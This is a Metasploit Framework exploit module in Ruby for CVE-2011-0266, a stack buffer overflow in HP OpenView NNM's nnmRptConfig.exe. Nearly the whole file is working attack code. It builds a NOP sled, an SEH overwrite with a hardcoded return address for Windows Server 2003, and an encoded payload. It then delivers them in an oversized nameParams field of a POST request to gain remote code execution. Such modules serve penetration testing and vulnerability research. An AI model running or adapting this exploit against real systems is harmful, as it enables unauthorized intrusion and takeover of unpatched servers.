HP OpenView NNM nnmRptConfig nameParams Buffer Overflow

`##  
# $Id: hp_nnm_nnmrptconfig_nameparams.rb 12085 2011-03-23 03:37:18Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.  
A remote user can send a long string data to the nameParams parameter via  
a POST request, which causes an overflow on the stack when function  
ov.sprintf_new() is used, and gain arbitrary code execution.'  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 12085 $",  
'Author' =>  
[  
'sinn3r',  
],  
'References' =>  
[  
['CVE', '2011-0266'],  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x26\x2b",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "seh",  
'AutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D, 'offset'=>46913, 'Pops'=>13, 'Payloadoffset'=>57} ],  
],  
'Privileged' => false,  
'DisclosureDate' => "JAN 10 2011"))  
  
register_options(  
[  
Opt::RPORT(80),  
], self.class)  
end  
  
def exploit  
  
nops = make_nops(1000)*70  
  
sploit = nops[0, target['offset']]  
sploit << generate_seh_record(target.ret)  
sploit << "\x61"*target['Pops']  
sploit << "\x51"  
sploit << "\xc3"  
sploit << nops[0, target['Payloadoffset']]  
sploit << payload.encoded  
sploit << nops[0, 70000-sploit.length]  
  
data = "Content&Action=Create&"  
data << "Template=Avail/CRAvail&"  
data << "Operation=Apply&"  
data << "Params=schdParams+nameParams"  
data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"  
data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"  
  
connect  
send_request_raw({  
'uri' => '/OvCgi/nnmRptConfig.exe',  
'data' => data,  
'version' => '1.1',  
'method' => 'POST',  
'headers' => {  
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
'Accept-Language' => 'en-us,en;q=0.5',  
'Accept-Encoding' => 'gzip,deflate',  
'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',  
'Keep-Alive' => '300',  
'Connection' => 'Keep-Alive',  
'Cache-Control' => 'max-age=0',  
'Content-Length' => data.length,  
'Content-Type' => 'application/x-www-form-urlencoded',  
}  
}, 3)  
  
handler  
disconnect  
  
end  
end`